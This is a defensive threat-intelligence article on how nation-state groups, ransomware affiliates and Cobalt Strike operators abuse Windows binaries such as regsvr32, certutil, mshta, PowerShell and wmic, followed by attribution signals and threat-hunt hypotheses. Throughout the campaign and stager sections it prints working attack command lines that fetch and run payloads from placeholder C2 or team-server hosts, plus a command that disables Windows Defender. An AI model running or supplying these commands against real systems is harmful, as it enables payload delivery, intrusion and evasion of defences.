Threat Actor Campaigns

Why Threat Actors Choose Living Off the Land

Nation-state APTs and ransomware operators converged on LOLBin tradecraft independently. The convergence happened because both groups optimized for the same thing: remaining undetected long enough to complete their objectives.

Three operational reasons actors choose LOLBins over custom malware:

1. Blend into noise. Security tools cannot blocklist certutil or PowerShell without breaking operations. A custom implant binary can be hashed, yara'd, and blocked. A PowerShell command cannot be blocked without disabling PowerShell entirely.
2. Reduce tooling cost. LOLBins are pre-installed and signed. Attackers do not need to develop, compile, sign, or maintain a custom dropper. The payload is already on the target system before the attack begins.
3. Reduce dwell detection risk. Custom malware triggers more alerts. LOLBin executions trigger alerts only when context anomalies exist. Less experienced SOCs miss the context and triage the alert as benign.

The term "LOTL" (Living Off The Land) appears throughout threat intelligence reports to describe this pattern. MITRE ATT&CK labels it T1218 (Signed Binary Proxy Execution) and a cluster of related subtechniques. Every T1218 subtechnique has a corresponding LOLBin at the center.

APT Campaign Examples

Three nation-state actors illustrate how LOLBin preferences vary by group and inform attribution.

APT32 (OceanLotus / Cobalt Kitty)

Vietnamese threat actor, primarily targeting Southeast Asian organizations. APT32 used regsvr32 Squiblydoo to load COM scriptlets directly from C2 infrastructure. The complete execution chain:

regsvr32 /s /u /i:http://C2/scrobj.sct scrobj.dll

The group also used PowerShell download cradles to fetch secondary payloads directly into memory, leaving no file on disk. Detection significance: regsvr32 with a remote URL in the CommandLine is extremely rare in legitimate environments. Any occurrence warrants immediate investigation.

APT34 (OilRig / Helix Kitten)

Iranian threat actor targeting Middle East energy and government organizations. APT34 consistently used certutil to download payloads disguised as certificate or media files:

certutil -urlcache -f http://C2/payload.jpg C:\Users\Public\payload.jpg

The downloaded file carried a .jpg or .pdf extension but contained a PE binary. The group also used mshta.exe with embedded VBScript via HTA files, and established persistence through scheduled tasks pointing to mshta.exe with a C2 URL. This certutil download pattern is APT34's most consistent and recognizable signature across multiple campaigns.

Lazarus Group (DPRK)

North Korean threat actor. Lazarus used PowerShell extensively across campaigns: encoded commands, IEX download cradles, and in-memory .NET assembly loading via Reflection. The characteristic command pattern:

powershell.exe -nop -w hidden -enc [very long base64 string]

After initial compromise, Lazarus also used wmic.exe for lateral movement across the victim network. The combination of PowerShell IEX for initial delivery and wmic for lateral spread is a consistent behavioral signature across Lazarus campaigns spanning multiple years.

Ransomware Operator LOLBin Patterns

Ransomware operators adopted LOTL tradecraft in the 2020s to defeat endpoint security deployed after WannaCry and NotPetya. The pattern emerged because endpoint controls improved: operators who continued using custom malware were getting caught. LOLBins provided a path around improved defenses without requiring malware redevelopment.

BlackMatter / DarkSide (2020-2021)

Pre-encryption steps followed a documented sequence: PowerShell or certutil to download the ransomware payload, wmic /node: for lateral movement to spread across domain members, and a LOLDriver (mhyprot2.sys, a vulnerable game driver) to kill AV and EDR processes before the encryption run began. The LOLDriver step is notable because it required the operator to bring a known-vulnerable driver, not a built-in binary -- a BYOVD (Bring Your Own Vulnerable Driver) technique that became common in enterprise ransomware.

LockBit 3.0

LockBit affiliates were observed using certutil.exe to download tools after gaining domain access, PowerShell to disable Windows Defender before encryption:

Set-MpPreference -DisableRealtimeMonitoring $true

schtasks was used to establish persistence before the encryption phase. LockBit's LOLBin usage is consistent enough across affiliates that detection rules targeting these specific patterns catch LockBit activity reliably.

Conti (affiliates)

The Conti affiliate playbook, leaked in 2021, provided direct written evidence of systematically documented LOTL procedures. wmic /node: for SMB lateral movement, PowerShell download cradles for Cobalt Strike beacon delivery, and bitsadmin for downloading post-exploitation tools were all documented step-by-step in the training materials provided to affiliates.

Cobalt Strike and LOTL Integration

Cobalt Strike is a legitimate adversary simulation tool widely abused by ransomware operators and nation-state actors alike. Every common Cobalt Strike beacon delivery method relies on a LOLBin. This is not coincidence -- the framework was designed for red team engagements where avoiding detection is the goal, and LOLBins are the best available delivery mechanism.

mshta stager

mshta.exe fetches an HTA file from the team server. The HTA contains VBScript that executes shellcode or downloads and executes the beacon. This is the most common initial beacon delivery method seen in commodity intrusions. The command is simple:

mshta.exe http://teamserver.domain/payload.hta

PowerShell download cradle stager

Loads the Cobalt Strike PowerShell beacon in memory. No file ever touches disk:

IEX (New-Object Net.WebClient).DownloadString('http://TS/payload')

regsvr32 stager

Downloads and executes a COM scriptlet that runs shellcode within the regsvr32.exe process:

regsvr32 /s /u /i:http://TS/beacon.sct scrobj.dll

rundll32 stager

Loads a beacon DLL that was dropped to a writable path:

rundll32.exe C:\Temp\beacon.dll,DllMain

The mshta and PowerShell variants are fully in-memory. No persistent beacon file exists. All four stager types produce high-signal parent-child anomalies or CommandLine patterns. The common thread is a CommandLine containing a team server URL or a short-lived domain.

Attribution Signals in LOLBin Campaigns

Not all LOTL usage is the same. Actor-specific patterns exist that persist across campaigns and can support attribution before formal intelligence reporting arrives.

C2 infrastructure patterns. Nation-state actors typically use long-lived domains with valid TLS certificates, often mimicking Microsoft, Google, or cloud service providers. Ransomware operators frequently use freshly registered domains or bullet-proof hosting providers with no enterprise reputation.

LOLBin selection consistency. APT groups reuse specific techniques across campaigns. APT34 consistently used certutil and mshta. APT32 consistently used regsvr32. Tracking per-actor LOLBin preferences builds a behavioral signature that helps attribute new intrusions even without matching IOCs from previous campaigns.

Staging depth. Nation-state actors run multi-stage chains where each LOLBin fetches the next stage from a separate infrastructure component. Ransomware operators typically use 2-3 stages maximum. Commodity threat actors usually use 1-2 stages.

Timing and velocity. Nation-state APT reconnaissance via wmic or nltest runs slowly and manually -- commands are spaced across hours, targeting specific hosts. Ransomware lateral movement via wmic /node: runs fast and automated across IP ranges. The velocity of LOLBin execution is an attribution signal on its own.

Hunting for Actor-Specific LOLBin Patterns

Published threat intelligence translates directly into hunt hypotheses. The process is mechanical: take an actor's documented LOLBin technique, state it as a conditional ("if this actor has access, we expect to see..."), and build a query from the expected artifact. Three examples:

Hypothesis 1 -- APT34-like certutil abuse

If APT34 has access to this network, we expect to see certutil using -urlcache to download a file with a non-executable extension that is actually a PE binary.

Hunt: certutil CommandLine contains -urlcache plus a destination filename with extension in {.jpg, .png, .pdf, .txt, .dat} that does not resolve to a known CDN. Enrich with file type detection on the downloaded file to confirm the extension mismatch.

Hypothesis 2 -- Cobalt Strike mshta stager

If an initial access broker used mshta for beacon delivery, mshta will appear in the process tree with no legitimate parent and a URL argument pointing to a short-lived domain.

Hunt: mshta CommandLine contains http and parent process is not explorer.exe, plus domain age under 30 days (enriched via passive DNS or threat intelligence).

Hypothesis 3 -- Ransomware wmic lateral movement

If ransomware operators gained domain access, we expect wmic /node: targeting multiple internal hosts within a short time window from a single source.

Hunt: wmic.exe CommandLine contains /node: where the same source host targets five or more unique internal IPs within a 60-minute window.

These three hypotheses cover three distinct threat actor archetypes using three different LOLBins. Threat actor LOLBin patterns from published CTI reports are the highest-quality source of hunt hypotheses available. Every APT report with ATT&CK technique mappings is a set of ready-made hunt hypotheses waiting to be written into queries.